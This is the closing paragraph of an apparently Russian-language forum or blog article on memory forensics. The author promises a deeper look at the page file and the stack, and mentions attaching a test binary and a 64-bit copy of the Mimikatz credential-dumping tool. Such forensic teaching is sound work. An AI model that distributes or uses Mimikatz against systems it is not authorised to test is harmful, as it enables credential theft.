В памяти системных процессов хранится множество важных артефактов, и этой теме посвящена даже отдельная область «Криминалистический анализ памяти». Как нибудь в следующий раз мы копнём её глубже, например заглянем в файл-подкачки и раскопаем до дна стек. А пока ставлю здесь точку, не забыв прикрепить в скрепку приведённый выше бинарь для тестов, а так-же саму программу «Mimikatz» (64-битную её версию я скачавал давно, и что-то не нашёл сейчас линка – везде только х32). Всем удачи, пока!